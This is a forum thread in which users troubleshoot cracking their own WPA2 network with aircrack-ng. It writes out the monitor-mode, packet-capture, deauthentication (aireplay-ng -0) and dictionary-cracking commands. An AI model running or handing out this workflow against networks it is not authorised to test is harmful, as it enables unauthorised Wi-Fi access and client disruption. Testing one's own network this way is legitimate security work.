aircrack-ng wpa problems ?

[capron]

I am happy for the new BT4 final. But failed in hacking myself ( WP2 CCMP )
Is there some bug in airodump-ng?

airodump-ng -c 11 -w dump.cap mon0
aireplay-ng -0 ... .. . .. .
aircrack-ng ( Got WPA (1 handshake) )
So far so good.


aircrack-ng -w word.txt dump.cap-01.cap ( Passphrase not in dictionary ) <----- Problem
I am sure the right password is in the word.txt.

Also tried it with cowpatty same problem.

Did you double-check the passphrase? Or try putting a few variants, just as a hunch... Hope I gave someone some ideas ?

Hey, I've just cracked my WPA network.

airmon-ng start wlan0
(mon0 new interface)
airodump-ng -c 11 -w test mon0
aireplay -0 15 -a AP -c CLIENT mon0
Got handshake.
Added my wpa password to the pwd list
echo "wpapasswordgoeshere" >> /pentest/passwords/wordlists/darkc0de.lst
aircrack-ng test-01.cap -w /pentest/passwords/wordlists/darkc0de.lst

Found it.

good work, and thanks, you saved me from making the same mistake

Thanks batsy. I tried it again and this time it worked.

I still belie that airodump-ng did some error in cathing the handshake. I used the same word list on the two captured handshakes
and only one of them worked.

Did you transfer the file from Windows? It might have added a newline/carriage return when you transferred it over.

edit: nm, the OP found out the answer.
